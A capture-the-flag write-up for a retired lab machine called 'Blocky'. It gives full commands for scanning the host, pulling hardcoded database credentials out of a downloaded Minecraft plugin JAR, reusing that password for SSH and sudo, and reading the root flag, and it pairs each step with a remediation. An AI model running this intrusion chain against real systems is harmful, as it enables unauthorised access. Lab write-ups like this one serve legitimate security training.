Blocky
Summary
I browsed a publicly exposed file-listing page co-hosted on the WordPress server, downloaded a custom Minecraft plugin JAR, and recovered hardcoded MySQL root credentials stored in plaintext in the compiled bytecode. Those same credentials had been reused as the Linux login password for the local account 'notch', granting an immediate SSH shell and the user flag.
Because notch held unrestricted sudo rights, a single sudo command with the already-known password produced a root shell and full system control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Full port scan with version detection — confirms FTP, SSH, and HTTP services.
$ nmap -sC -sV -p- -oN nmap_blocky.txt $TARGETConfirm WordPress is serving the blocky.htb vhost on port 80.
$ curl -sS -I -H 'Host: blocky.htb' http://$TARGET/Exact commands 2
Confirm the file-browser landing page is publicly accessible.
$ curl -sS -H 'Host: blocky.htb' http://$TARGET/plugins/Trigger the directory listing — reveals BlockyCore.jar and the griefprevention jar in files/.
$ curl -sS -H 'Host: blocky.htb' http://$TARGET/plugins/scan.phpFixRemove or authenticate the plugin file-browser directoryHigh
Exact commands 4
Download the JAR to a local working directory.
$ mkdir -p /tmp/blocky && curl -sS -H 'Host: blocky.htb' -o /tmp/blocky/BlockyCore.jar http://$TARGET/plugins/files/BlockyCore.jarExtract the compiled .class files from the archive.
$ cd /tmp/blocky && unzip -o BlockyCore.jarQuick strings pass — immediately surfaces sqlUser and sqlPass literals.
$ strings /tmp/blocky/com/myfirstplugin/BlockyCore.class | grep -A2 -B2 sqlBytecode disassembly for confirmation — shows constant-pool entries for both credential strings.
$ javap -classpath /tmp/blocky -c -p -v com.myfirstplugin.BlockyCore 2>/dev/null | grep -A1 'root\|sql\|Pass'FixRemove hardcoded credentials from source code and build artifactsCritical
Exact commands 2
Interactive SSH — enter password when prompted.
$ ssh notch@$TARGETNon-interactive one-liner used in the engagement — confirms foothold and returns <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null notch@$TARGET 'id; cat /home/notch/user.txt'
uid=1000(notch)FixEnforce unique passwords and disable SSH password authenticationCritical
Exact commands 1
Run from the notch shell — lists all sudo rights; confirm unrestricted ALL entry.
$ printf '%s\n' "$PASSWORD" | sudo -S -lExact commands 3
Run from the notch shell — opens a root shell using password.
$ sudo -iRead the root flag from the root shell — value is <root.txt>.
$ cat /root/root.txtNon-interactive one-liner used in the engagement — confirms root and returns <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null notch@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S sh -c 'id; cat /root/root.txt'"
uid=0(root)FixRemove unrestricted sudo rights from the notch accountCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.